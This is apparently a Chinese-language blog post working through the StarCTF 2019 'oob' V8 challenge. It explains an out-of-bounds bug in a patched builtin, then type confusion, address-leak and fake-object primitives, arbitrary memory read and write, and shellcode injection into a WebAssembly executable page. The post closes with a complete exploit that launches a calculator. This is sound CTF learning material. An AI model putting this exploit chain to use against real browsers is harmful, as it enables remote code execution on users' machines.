初识v8之starctf2019-oob

最近开始学习浏览器相关的知识了,虽说看了一些基础知识,但是对于漏洞利用的手法仍然不是很明确,询问队里的大佬后,给我推荐了一道入门题,在做完之后写出了这篇文章。

  • SatrCtf2019-oob

    • 数组对象的结构

      这里简单讲解一下做这一题需要的前置知识。

      首先我们需要了解v8中的对象的结构,以一个Float数组Float_Array为例来讲解。

      Float_Array数组的结构如下图:

      其中Map(也叫Hidden Class)属性代表了数组的类型,对于相同类型的对象,他们的Map应该相同,这一点非常重要,后面题目中我们会用到。

      另一个很重要的就是Elements,它本身就是一个对象,他指向了真正保存数组内容的地址(Fixed Array),假如我们对Array数组进行赋值:Float_Array = [1.1,2.2,3.3],那么数组的值将会分别被存储在图中Value1,Value2,Value3的位置。

      上面的图只是结构的示意图,而在内存中从低地址到高地址的结构图应该是下面这样:

    • 类型混淆

      同样以上面的Float数组Float_Array为例,我们再新增一个对象数组叫做Obj_Array,他们的类型不同,所以Map值也是不相同的,如果此时有一个漏洞,可以让我们将Float_Array的Map的值更改为Obj_Array的Map的值,那么此时就造成了类型混淆,如果我们从Obj_Array中取值,它返回的不再是一个对象,而是以Float的形式表示的对象的地址。

    • diff文件分析

      有了以上的知识,我们就可以开始看我们的题目了,题目给了一个名叫oob.diff的文件,打开文件发现前面有一个名为SimpleInstallFunction的东西,结合网上对于JavaScript API的资料可以分析出题目是自己实现了一个名为oob的函数,实现的具体细节在22-42行:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      +BUILTIN(ArrayOob){
      + uint32_t len = args.length();
      + if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
      + Handle<JSReceiver> receiver;
      + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      + isolate, receiver, Object::ToObject(isolate, args.receiver()));
      + Handle<JSArray> array = Handle<JSArray>::cast(receiver);
      + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
      + uint32_t length = static_cast<uint32_t>(array->length()->Number());
      + if(len == 1){
      + //read
      + return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
      + }else{
      + //write
      + Handle<Object> value;
      + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      + isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
      + elements.set(length,value->Number());
      + return ReadOnlyRoots(isolate).undefined_value();
      + }
      +}

      结合文件中的注释可以看出,当参数个数为0(对应len==1,因为对于内置函数,会有一个this指针作为一参)时,将会输出Array[length]位置的值,这里造成了越界读,因为正常来说,我们取第length个位置的值,应该取得是Array[length-1]。

      当参数个数为1时,可以向Array[length]的位置写入所传的参数,这里就很有问题了,因为当我们想向第length个位置写入的时候,我们写入的位置是Array[length-1],所以这里其实造成了越界写。

    • 从数组越界到任意地址读写

      根据以上的分析,由于浮点数组的Map正好与Fixed Array紧邻,所以我们可以通过泄露出浮点数组的Map值,同理,当我们创建一个对象数组时,也可以泄露出对象数组的Map值,测试代码:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      //test.js
      var buffer = new ArrayBuffer(32);
      var f64 = new Float64Array(buffer);
      var i64 = new BigUint64Array(buffer);

      function f_to_i(target){
      f64[0]=target;
      return i64[0];
      }

      function i_to_f(target){
      i64[0]=target;
      return f64[0];
      }

      function hex(target){
      return target.toString(16).padStart(16,"0");
      }
      var float_array = [1.1];
      var obj={"a":0x11};
      var obj_array = [obj];

      var obj_hidden = obj_array.oob();
      var float_hidden = float_array.oob();

      console.log("obj hidden is leaked ==> " + hex(f_to_i(obj_hidden)));
      console.log("float hidden is leaked ==> " + hex(f_to_i(float_hidden)));

      %DebugPrint(float_array);
      %DebugPrint(obj_array);
      %SystemBreak();

      在d8的同级目录下打开运行gdb ./d8,进入gdb界面后,输入命令set args --allow-natives-syntax ./test.js,然后run就行了:

      可以看见我们图中的泄露出来的Map值是完全没有问题的,这里讲一下这部分的核心,也就是:

      1
      2
      var obj_hidden = obj_array.oob();
      var float_hidden = float_array.oob();

      这两行代码,前面分析过,不传参数就会输出Array[Length]的值,而这个做法越界了一个内存单元,由上面的内存结构图可以看出来,Fixed Array的下一个内存单元,存放的是Map,也就是说通过xxx.oob(),就可以泄露出相应的Map。

      前面说过,当我们传入一个参数,会越界一个内存单元去写入参数值,那么此时我们已经有了两个数组的Map值,那么我们是否能修改Map值达到类型混淆呢?答案是肯定的,在刚才的测试代码中加入以下代码:

      1
      obj_array.oob(float_hidden);

      运行之后,gdb查看内存:

      可以看见,obj_array的Map也被改成了float_array的Map值,根据我们以上的结论,我们可以很简单的构造出以下原语:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      //leak用来泄露出目标obj的地址,基于越界读
      function leak(Target_Obj){
      obj_array[0]=Target_Obj;
      obj_array.oob(float_hidden); //类型混淆:Object --> float
      let obj_addr = f_to_i(obj_array[0])-0x1n; //此时obj_array[0]的值不再被作为obj,而是float
      obj_array.oob(obj_hidden);
      return obj_addr;
      }

      //fake用来伪造一个obj对象并返回,基于越界写
      function fake(Target_Obj){
      float_array[0]=i_to_f(Target_Obj+0x1n);
      float_array.oob(obj_hidden); //类型混淆:float --> Object
      let fake_obj = float_array[0]; //此时obj_array[0]的值不再被作为float,而是obj
      float_array.oob(float_hidden);
      return fake_obj;
      }

      现在我们已经有能力泄露出一个对象的地址,以及伪造一个对象了,但是这还没有达到我们的目的,为了达到最终RCE的目的,我们还需要任意地址读写,这也可以基于以上两个功能实现。

      试想一下,我们现在有一个Float类型的数组:Array,我们对其进行如下赋值:Array = [Float_Map,0n,0x41414141n,0x400000n],那么他的Fixed Array在内存中的结构如下图所示:

      此时如果我们使用leak,泄露出Array的地址,并且根据图片可以计算出泄露出的地址到我们第一个元素的距离为:

      1
      addr = leak_addr - n*(0x8)-0x10+0x10

      leak_addr就是我们泄露的地址,而n代表的是元素个数,每个元素8个字节,减去0x10是由于Fixed Array的头部还有Map以及Length,再加上0x10是由于elements真正指向的是Fixed Array开头加上0x10的位置。

      那么观察我们的布局,如果我们通过类型混淆,在我们数组的第一个元素处伪造一个obj并返回,那么由于我们的数组已经被提前布局好了相关结构,就会形成以下的效果:

      此时,0x41414141的位置就被认为是Element指向的位置,那么我们只需要更改这个指针即可达到任意地址读写的效果:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      function Read_From(Target_Addr){
      fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
      let data = fake_obj[0];
      return data;
      }

      function Write_To(Target_Addr,Data){
      fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
      fake_obj[0] = i_to_f(Data);
      }

    • 如何GetShell

      此时,我们已经可以任意地址读写了,那么我们改怎么getshell呢?

      这里有两种办法:

      • 常规堆利用,修改free hook为system的地址即可。
      • 通过WASM来执行shellcode

      我们这里采用第二种方法,那么我们首先需要直到wasm是什么,wasm既Web Assembly的缩写,他是一种使JavaScript能直接执行机器码的技术,能够帮助程序高效的运行。

      但是由于安全性的原因,wasm并不能执行系统函数,只能实现一些类似于return的功能,但是好在我们现在已经能够任意地址写入了,那么我们只需要找到wasm中的RWX段的位置,并向其中写入我们的shellcode,即可让他执行。

      那么首先我们要加载一段正常的wasm进入内存:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

      var wasmModule = new WebAssembly.Module(wasmCode);

      var wasmInstance = new WebAssembly.Instance(wasmModule, {});

      var wasm = wasmInstance.exports.main;

      var tmp = wasm();

      console.log("If you see 42,that means the wasm code is executed! ==> " + tmp);

      通过以下这段代码,我们可以实现return 42的功能,我们来调试看看:

      可以看到,确实是成功执行了,那么此时我们需要做的就是找到其中的rwx段,并且向其中写入我们的ShellCode。

      我们先泄露出wasm的地址:

      1
      var wasm_addr = leak(wasm);

      然后根据Function–>shared_info–>WasmExportedFunctionData–>instance的顺序,来寻找我们的RWX的位置,最后在instance+0x88的位置,成功找到可执行段:

      那么在代码中我们只需要泄露出这个位置,然后写入相应的shellcode即可:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      function Get_Shellcode_Ready(shellcode){
      for(var i=0;i<shellcode.length;i++){
      dataview.setUint32(4*i,i_to_f(shellcode[i]),true);
      }
      }
      //leak instance+0x88
      var shared_info = f_to_i(Read_From(wasm_addr+0x18n))-0x1n;
      var Function_Data = f_to_i(Read_From(shared_info+0x8n))-0x1n;
      var Instance = f_to_i(Read_From(Function_Data+0x10n))-0x1n;
      var Instance_88 = f_to_i(Read_From(Instance+0x88n));
      //写入shellcode
      var target_buf = new ArrayBuffer(0x100);
      var dataview = new DataView(target_buf);
      var backing_store = leak(target_buf)+0x20n;
      Write_To(backing_store,Instance_88);
      //shellcode
      var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
      Get_Shellcode_Ready(shellcode);

      //调用shellcode
      wasm();

      最后放上完整的Exp:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      //test.js
      var buffer = new ArrayBuffer(32);
      var f64 = new Float64Array(buffer);
      var i64 = new BigUint64Array(buffer);

      function f_to_i(target){
      f64[0]=target;
      return i64[0];
      }

      function i_to_f(target){
      i64[0]=target;
      return f64[0];
      }

      function hex(target){
      return target.toString(16).padStart(16,"0");
      }
      var float_array = [1.1];
      var obj={"a":0x11};
      var obj_array = [obj];

      var obj_hidden = obj_array.oob();
      var float_hidden = float_array.oob();

      console.log("obj hidden is leaked ==> " + hex(f_to_i(obj_hidden)));
      console.log("float hidden is leaked ==> " + hex(f_to_i(float_hidden)));

      //leak用来泄露出目标obj的地址,基于越界读
      function leak(Target_Obj){
      obj_array[0]=Target_Obj;
      obj_array.oob(float_hidden); //类型混淆:Object --> float
      let obj_addr = f_to_i(obj_array[0])-0x1n; //此时obj_array[0]的值不再被作为obj,而是float
      obj_array.oob(obj_hidden);
      return obj_addr;
      }

      //fake用来伪造一个obj对象并返回,基于越界写
      function fake(Target_Obj){
      float_array[0]=i_to_f(Target_Obj+0x1n);
      float_array.oob(obj_hidden); //类型混淆:float --> Object
      let fake_obj = float_array[0]; //此时obj_array[0]的值不再被作为float,而是obj
      float_array.oob(float_hidden);
      return fake_obj;
      }

      var fake_array = [float_hidden,i_to_f(0n),i_to_f(0x41414141n),i_to_f(0x300000000n),1.1,2.2];

      var fake_addr = leak(fake_array);

      var target_addr = fake_addr-0x30n;

      var fake_obj = fake(target_addr);

      function Read_From(Target_Addr){
      fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
      let data = fake_obj[0];
      return data;
      }

      function Write_To(Target_Addr,Data){
      fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
      fake_obj[0] = i_to_f(Data);
      }

      var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

      var wasmModule = new WebAssembly.Module(wasmCode);

      var wasmInstance = new WebAssembly.Instance(wasmModule, {});

      var wasm = wasmInstance.exports.main;

      var wasm_addr = leak(wasm);

      console.log("wasm addr is leaked! ==> " + wasm_addr);

      function Get_Shellcode_Ready(shellcode){
      for(var i=0;i<shellcode.length;i++){
      dataview.setUint32(4*i,(shellcode[i]),true);
      }
      }
      //leak instance+0x88
      var shared_info = f_to_i(Read_From(wasm_addr+0x18n))-0x1n;
      var Function_Data = f_to_i(Read_From(shared_info+0x8n))-0x1n;
      var Instance = f_to_i(Read_From(Function_Data+0x10n))-0x1n;
      var Instance_88 = f_to_i(Read_From(Instance+0x88n));
      //写入shellcode
      var target_buf = new ArrayBuffer(0x100);
      var dataview = new DataView(target_buf);
      var backing_store = leak(target_buf)+0x20n;
      Write_To(backing_store,Instance_88);
      //shellcode
      var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
      Get_Shellcode_Ready(shellcode);

      //调用shellcode
      wasm();

      最后成功弹出计算器:

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2023 h1J4cker
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信